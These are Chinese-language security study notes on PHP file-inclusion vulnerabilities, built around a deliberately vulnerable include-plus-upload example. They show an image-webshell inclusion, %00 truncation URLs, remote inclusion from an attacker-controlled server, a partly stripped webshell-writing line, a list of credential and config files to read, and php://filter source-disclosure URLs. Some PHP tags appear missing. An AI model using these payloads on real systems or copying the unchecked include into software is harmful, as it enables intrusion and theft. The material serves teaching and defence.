本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文件包含漏洞是指开发者再开发过程中不正确地使用了文件包含函数,导致用户可以非法控制文件包含的内容,从而产生的漏洞。
在这里以php举例
PHP中提供了四个文件包含的函数,分别是include(),include_once(),require(),require_once()
函数 | 介绍 |
---|---|
require | 找不到北包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本 |
require_once | 与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
include | 找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行 |
include_once | 与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
看一个实例
某网站存在文件上传点和文件包含漏洞
index.php
if (isset($_GET['page'])){
include $_GET['page'];
}else{
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
请上传文件:
<input type="file" name="file" id="file"><br>
<input type="submit" value="提交">
</form>
</body>
</html>
}?>
upload.php
$path = './uploads';
if (!is_dir($path)) {
mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
echo "上传失败";
} else {
$name = $_FILES['file']['name'];
$suffix=substr(strrchr($name, '.'), 1);
$white=['jpg','png','gif'];
$flag = false;
for ($i=0;$i<count($white);$i++){
if ($white[$i]==$suffix){
$flag=true;
}
}
if ($flag) {
move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
echo "上传成功
保存位置:" . "uploads/" . $name . "";
} else {
echo "请上传图片文件";
}
}
?>
由于白名单的限制,用户不能将恶意代码上传到网站服务器。
但由于存在文件包含漏洞,所以存在绕过的方法。
首先上传图片马2.png,保存在 /uploads/2.png
接下来再包含页包含这个图片马,此时图片马的内容就会当做PHP的代码解析。
某些开发者认为文件上传漏洞很容易解决,只要固定文件名即可
index.php
if (isset($_GET['page'])){
include $_GET['page'].".php";
}else{
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
请上传文件:
<input type="file" name="file" id="file"><br>
<input type="submit" value="提交">
</form>
</body>
</html>
}?>
此时再访问图片马,就会报错,因为此时包含的文件位置是**/uploads/2.png.php**,但这个文件在服务器中是不存在的,导致无法包含。
但此时可以使用%00进行截断,前提magic_quotes_gpc=Off && version<5.3.4
http://192.168.1.5/?page=/uploads/2.png%00
条件:allow_url_fopen=On
此时如果我有一个可控制的服务器上存在一个PHP文件,内容为
http://192.168.1.5/1.php
phpinfo();
?>
我在被攻击的服务器上可以远程包含此文件,此时文件的内容就会当做php解析
假如远程包含的内容是条件竞争的代码,就会生成一个WebShell
fputs(fopen('./shell.php','w'),''); ?>
在各种系统下都有一些敏感目录,可以尝试包含
Windows
C:\boot.ini
查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml
IIS配置文件
C:\windows/repair\sam
存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini
MySQL配置
C:\Program Files\mysql\data\mysql\user.MYD
MySQL root
C:\windows/php.ini
PHP配置文件
C:\windows/my.ini MySQL
配置文件
Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf
apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
虚拟网站设置
/usr/local/app/php5/lib/php.ini
PHP相关配置
/etc/httpd/conf/httpd.conf
Apache配置文件
/etc/my.cnf
MySQL配置文件
PHP有很多内置URL风格的封装协议。
名称 | 含义 |
---|---|
files:// | 访问本地文件系统 |
http:// | 访问HTTP(s)网址 |
ftp:// | 访问FTP(s) URLs |
php:// | 访问输入/输出流(I/O Stream) |
zlib:// | 压缩流 |
data:// | 数据 (RFC 2397) |
ssh2:// | Secure Shell 2 |
expect:// | 处理交互式的流 |
glob:// | 查找匹配的文件路径 |
例如可以通过这些协议读取文件
假如我要读取index.php的内容
http://192.168.1.8/?page=php://filter/read=convert.base64-encode/resource=index.php
这样就得到了index.php加密后的结果(Base64)
if (isset($_GET['page'])){
include $_GET['page'];
}else{
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
请上传文件:
<input type="file" name="file" id="file"><br>
<input type="submit" value="提交">
</form>
</body>
</html>
}?>
更多的协议信息参照
https://www.php.net/manual/zh/wrappers.php
严格规范用户的输入,永远不要相信用户的输入